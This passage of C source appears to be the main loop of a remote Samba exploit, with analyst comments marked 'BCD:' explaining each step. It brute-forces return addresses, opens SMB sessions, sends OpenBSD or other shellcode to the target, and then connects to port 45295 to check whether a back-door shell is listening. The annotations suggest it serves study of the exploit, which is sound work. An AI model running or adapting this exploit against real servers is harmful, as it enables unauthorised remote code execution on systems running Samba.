1441     if (is_samba(argv[optind], 2) != 0) {
1442         fprintf(stderr, "+ Host is not running samba!\n\n");
1443         return -1;
1444     }
1445
1446     fprintf(stderr, "+ Host is running samba.\n");
1447 }
1448
1449 /* BCD: Loop until the SIGUSR1 handler is triggered to try the back door. */
1450 while (OWNED == 0) {
1451
1452     if (sock > 2) close(sock);
1453     if (sock2 > 2) close(sock2);
1454
1455     if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1456         if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
1457     }
1458     else {
1459         ret -= STEPS;
1460         i++; /* BCD: This assumes the fork(2) below will succeed. But if
1461              * BCD: it doesn't, exit() will be invoked anyway.
1462              */
1463     }
1464
1465     if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)
1466         if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
1467
1468
1469     /* BCD: Unless running on OpenBSD, avoid trying a return address that
1470     * BCD: ends with 0x00. The reason for this is not known. It could
1471     * BCD: result in an infinite loop if "-B 1" is given on the command
1472     * BCD: line.
1473     */
1474     if ((ret & 0xff) == 0x00 && brute != 3) ret++;
1475
1476     if (verbose == 1)
1477         fprintf(stdout, "+ Using ret: [0x%08x]\n", (unsigned int)ret);
1478
1479     usleep(BRUTE_DELAY);
1480
1481     switch (childs[i] = fork()) {
1482     case 0:
1483         /* BCD: Connect to Samba. */
1484         if (Connect(sock, (char *)inet_ntoa(addr1.sin_addr), port, 2) == -1) {
1485             if (sock > 2) close(sock);
1486             if (sock2 > 2) close(sock2);
1487             exit(-1);
1488         }
1489
1490         if (write_timer(sock, 3) == 1) {
1491             /* BCD: Start an SMB session. */
1492             if (start_session(sock) < 0) {
1493                 if (verbose == 1) fprintf(stderr, "+ Session failed.\n");
1494                 if (sock > 2) close(sock);
1495                 if (sock2 > 2) close(sock2);
1496                 exit(-1);
1497             }
1498

```

```

1499         if (brute == 3) {
1500             /* BCD: Send the openbsd shellcode. */
1501             if (exploit_openbsd32(sock, ret, shellcode) < 0) {
1502                 if (verbose == 1) fprintf(stderr, "+ Failed.\n");
1503                 if (sock > 2) close(sock);
1504                 if (sock2 > 2) close(sock2);
1505                 exit(-1);
1506             }
1507         }
1508     }
1509     else {
1510         /* BCD: Send the non-openbsd shellcode. */
1511         if (exploit_normal(sock, ret, shellcode) < 0) {
1512             if (verbose == 1) fprintf(stderr, "+ Failed.\n");
1513             if (sock > 2) close(sock);
1514             if (sock2 > 2) close(sock2);
1515             exit(-1);
1516         }
1517         if (sock > 2) close(sock);
1518         if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1519             /* BCD: Impossible. The line above guarantees that sock2
1520              * BCD: is less than 0, so it can't be greater than 2.
1521              */
1522             if (sock2 > 2) close(sock2);
1523             exit(-1);
1524         }
1525     }
1526     /* BCD: Attempt a backdoor connection. If successful, send
1527     * BCD: a SIGUSR1 to the parent process to trigger an attempt
1528     * BCD: to use the back door.
1529     */
1530     if(Connect(sock2, (char *)inet_ntoa(addr1.sin_addr), 45295, 2)
1531         != -1) {
1532         if (sock2 > 2) close(sock2);
1533         kill(getppid(), SIGUSR1);
1534     }
1535 }
1536
1537     exit(1);
1538 }
1539
1540
1541     exit(0);
1542     break;
1543 case -1:
1544     fprintf(stderr, "+ fork() error\n");
1545     exit(-1);
1546     break;
1547 default:
1548     /* BCD: If the maximum number of child processes have been
1549     * BCD: started, wait until one finishes before allowing the
1550     * BCD: brute force loop to continue.
1551     */
1552     if (i > MAX_CHILDREN - 2) {
1553         wait(&status);
1554         i--;
1555     }
1556     break;
1557 }
1558
1559 }
1560
1561 }

```

```
1562
1563     return 0;
1564 }
1565
1566 /* EOF */
```

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